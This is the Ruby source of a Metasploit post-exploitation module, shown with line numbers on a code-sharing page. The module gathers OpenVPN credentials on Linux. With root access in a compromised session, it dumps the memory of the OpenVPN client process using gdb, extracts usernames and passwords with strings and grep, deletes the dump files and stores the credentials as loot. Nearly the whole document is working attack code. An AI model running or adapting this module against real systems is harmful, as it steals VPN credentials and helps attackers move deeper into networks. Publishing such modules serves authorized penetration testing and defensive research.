Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Linux::Priv
9
  include Msf::Post::Linux::System
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'OpenVPN Gather Credentials',
16
        'Description' => %q{
17
          This module grab OpenVPN credentials from a running process
18
          in Linux.
19

20
          Note: --auth-nocache must not be set in the OpenVPN command line.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'rvrsh3ll', # Discovery
25
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
26
        ],
27
        'Platform' => ['linux'],
28
        'SessionTypes' => ['shell', 'meterpreter'],
29
        'References' => [
30
          ['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
31
        ]
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
38
        OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
39
      ], self.class
40
    )
41
  end
42

43
  def pid
44
    datastore['PID']
45
  end
46

47
  def tmp_path
48
    datastore['TMP_PATH']
49
  end
50

51
  def run
52
    user = cmd_exec('/usr/bin/whoami')
53
    print_good("Module running as \"#{user}\" user")
54

55
    unless is_root?
56
      print_error('This module requires root permissions.')
57
      return
58
    end
59

60
    dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
61
    if dump.chomp.to_i == 0
62
      vprint_good('Succesfully dump.')
63
    else
64
      print_warning('Could not dump process.')
65
      return
66
    end
67

68
    strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ  | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
69

70
    deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
71
    if deldump.chomp.to_i == 0
72
      vprint_good('Removing temp files successfully.')
73
    else
74
      print_warning('Could not remove dumped files. Remove manually.')
75
    end
76

77
    fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
78

79
    vprint_good("OpenVPN Credentials:\n#{strings}")
80

81
    p = store_loot(
82
      'openvpn.grab',
83
      'text/plain',
84
      session,
85
      strings,
86
      nil
87
    )
88
    print_status("OpenVPN Credentials stored in #{p}")
89
  end
90
end
91

92